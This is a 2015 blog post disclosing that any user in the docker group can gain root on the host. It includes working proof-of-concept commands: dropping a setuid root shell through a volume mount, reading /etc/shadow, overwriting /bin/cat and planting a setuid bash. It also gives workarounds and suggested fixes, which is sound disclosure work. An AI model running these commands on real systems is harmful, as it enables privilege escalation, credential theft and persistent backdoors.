Using the docker command to root the host (totally not a security issue)
Docker is an awesome tool that allows their users to create, manage and run Linux Containers with ease.
It is possible to do a few more things more with the docker command besides working with containers, such as creating a root shell on the host, overwriting system configuration files outside the container, reading restricted stuff, etc.
The ugly case
docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \ 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
The above command will mount (
-v) the current working directory
/stuff directory of the docker container named
my-docker-image and will
then write a copy of the container’s
/bin/sh into the
/stuff directory that
is conveniently bound to the calling user’s
Outside the container. Into the host. With suid.
Then what? Then this user may execute the
sh binary to root the host:
test-user@vagrant:~/docker-test$ ./sh whoami # root
The only thing this user needs is to be able to send instructions to docker, by being part of the docker group. In other words any user who is part of the docker group should also be considered root.
I contacted the security team in private, but unfortunately they do not consider this issue a vulnerability:
A user with access to the Docker API is not an unprivileged user, but has access to run fully privileged applications as root. This is by design and we currently recommend that operators consider all users with access to the docker group, socket, or API to be fully privileged.
Is every docker user aware that a platform that is meant to manage application containers can also be used to get root privileges, not only within the restricted container (which is expected), but on the underlying host too?
If so, what’s the purpose of the docker group?
Proof of concept
I tested this on Fedora 21 (SELinux disabled, so I probably deserved to be hacked) and a vanilla Ubuntu 14.04 machine (with the default configuration, it comes with apparmor). This might work on other Linux flavours too.
Here’s how you can test it too on a virtual environment defined by this
Vagrant.configure("2") do |config| config.vm.box = "chef/ubuntu-14.04" end
FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR
Step by step
If you’re not new to docker this may be a little boring, you may want to skip to The fun and profit part.
If you want to continue, then start the Ubuntu machine:
Install the latest docker package following the official instructions (https://docs.docker.com/installation/ubuntulinux/).
sudo apt-get install wget -y wget -qO- https://get.docker.com/ | sh
Add a new unprivileged user:
Make sure to add this new user to the
sudo usermod -aG docker test-user
Drop your currently privileged vagrant shell and log in into the
sudo su test-user cd ~
The following commands were all entered by this new user to build the docker container:
mkdir docker-test cd docker-test cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR ^D docker build -t my-docker-image .
The fun and profit part
You can copy binaries from the container into the host and give them suid permissions:
docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \ 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root
You can mount system directories into docker and ask docker to read (and write) restricted files that should be out of your user’s clearance:
docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat shadow' # root:!:16364:0:99999:7::: # daemon:*:16176:0:99999:7::: # bin:*:16176:0:99999:7::: # ...
And yes, you can even bind the host’s
/ and overwrite system commands with
docker run -v /:/stuff -t my-docker-image /bin/sh -c \ 'cp /stuff/rogue-program /stuff/bin/cat'
Or create a privileged copy of bash for later access? sure:
docker run -v /:/stuff -t my-docker-image /bin/sh -c \ 'cp /stuff/bin/bash /stuff/bin/root-shell-ftw && chmod a+s /stuff/bin/root-shell-ftw' root-shell-ftw -p root-shell-ftw-4.3#
But oddly enought you can’t read
/proc. Because hell, that would
be a security nightmare:
docker run -v /:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/dev/mem' cat: /stuff/dev/mem: Operation not permitted
So at least this issue does not allow anyone to play with your printer, unless they find a way root the host. Which they can.
So, is this a security issue or not?
The docker security team is very clear regarding this security implication, this is not a vulnerability: you should consider any user that is able to communicate with docker as fully privileged inside and outside the container.
So that’s it. No, this is not a privilege escalation because the docker group equals root anyway. And that’s by design, so it’s fine, nothing to worry about.
Odd times we live in.
Workaround for users
You should be really using SELinux if you’re worried about this known issue,
the problem is SELinux really affects some of the most useful docker features,
being able to use
-v to write and read data volumes from the host filesystem
is great, but being able to use it to root the host is not. Please note that
Fedora desktop is shipped with SELinux enabled by
default and that SELinux will render
Also, you can also avoid installing docker into a machine that may contain sensitive information of you or other users, such as passwords, SSH keys, certificate keys, etc. you can use a properly contained and disposable virtual machine for docker, just like the trick they do for running docker on OSX.
Finally, keep in mind that if you allow anyone to play with docker, you’re giving that user (and any person who manages to execute a shell as that user) the Keys to the Kingdom, and the Docker guys ain’t worried about that. Think of it like a password-less sudo. Whether this privilege escalation issue matters or not you decide.
Proposed solution for docker
You can probably make the exploitation of this flaw more difficult by reviewing
-v option. A few simple suggestions:
- Don’t allow users to mount anything outside the docker context (why should
they be allowed to bind
/? what’s the use case for that?). If this cannot be done easily you could also provide a configuration mechanism to allow binding only to a list of user-defined trusted paths.
- Check that all files written to the filesystem remain with the current user’s ownership, that would fix the suid root issue. This is probably not as easy at it sounds since you’re currently binding directories, that may require using a special filesystem (bindfs, nfs?) instead of a direct bind which will probably have performance penalties.
Please, don’t put the blame on Linux Containers or other technical details,
you’re providing a rather cool interface to them and having an additional
security check on this
-v option before reaching LXC won’t harm anyone.
- Apr 1, 2015. Vendor contacted in private.
- Apr 1, 2015. Got vendor response: “[…] we do not consider this to be a vulnerability […] these risks are well-known […] This is by design. […]”
- Apr 2, 2015. Full diclosure.